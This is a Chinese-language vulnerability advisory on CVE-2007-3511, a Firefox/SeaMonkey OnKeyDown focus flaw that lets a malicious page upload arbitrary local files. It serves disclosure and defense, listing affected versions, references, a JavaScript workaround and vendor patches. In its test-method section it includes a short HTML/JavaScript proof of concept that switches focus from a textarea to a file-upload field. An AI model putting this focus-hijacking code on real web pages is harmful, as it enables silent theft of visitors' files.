安全研究

安全漏洞
Mozilla FireFox OnKeyDown事件文件上传漏洞

发布日期:2007-07-02
更新日期:2007-07-03

受影响系统:
Mozilla Firefox < 2.0.0.8
Mozilla SeaMonkey < 1.1.5
不受影响系统:
Mozilla Firefox 2.0.0.8
Mozilla SeaMonkey 1.1.5
描述:
BUGTRAQ  ID: 24725
CVE(CAN) ID: CVE-2007-3511

Mozilla FireFox是一款流行的开源WEB浏览器。

FireFox在处理文件上传时存在漏洞,恶意网站可能利用此漏洞获取用户系统上的文件。

Firefox没有正确地处理表单字段的焦点,允许攻击者通过OnKeyDown事件将焦点从textarea字段更改至file upload字段,如果用户访问了恶意站点并向textarea输入表单键入了文件名的话,就可能将系统上的任意文件上传到恶意站点。

<*来源:Carl Hardwick (hardwick.carl@gmail.com
  
  链接:http://secunia.com/advisories/27311/
        http://secunia.com/advisories/25904/
        http://archives.neohapsis.com/archives/fulldisclosure/2007-06/0646.html
        http://www.mozilla.org/security/announce/2007/mfsa2007-32.html
        https://www.redhat.com/support/errata/RHSA-2007-0981.html
        https://www.redhat.com/support/errata/RHSA-2007-0980.html
        https://www.redhat.com/support/errata/RHSA-2007-0979.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<body>
<script>
function restore()
{
    document.getElementById("text1").value=document.getElementById("file1").value;
    document.getElementById("text1").focus();
}

function doKeyDown()
{
    document.getElementById("label1").focus();
}
</script>

<input type="file" id="file1" name="file1" onkeydown="restore();" onkeyup="restore()" />
<label for="file1" id="label1" name="label1"></label>
<br>
<textarea name="text1" id="text1" onkeydown="doKeyDown()">
</textarea>
</body>
</html>

建议:
临时解决方法:

* 禁用JavaScript

厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mozilla.org/projects/seamonkey/
http://www.mozilla.com/en-US/firefox/

RedHat
------
RedHat已经为此发布了安全公告(RHSA-2007:0980-01,RHSA-2007:0979-01,RHSA-2007:0981-01)以及相应补丁:
RHSA-2007:0980-01:Critical: seamonkey security update
链接:https://www.redhat.com/support/errata/RHSA-2007-0980.html

RHSA-2007:0979-01:Critical: firefox security update
链接:https://www.redhat.com/support/errata/RHSA-2007-0979.html

RedHat已经为此发布了一个安全公告(RHSA-2007:0981-01)以及相应补丁:
RHSA-2007:0981-01:Moderate: thunderbird security update
链接:https://www.redhat.com/support/errata/RHSA-2007-0981.html

浏览次数:2709
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障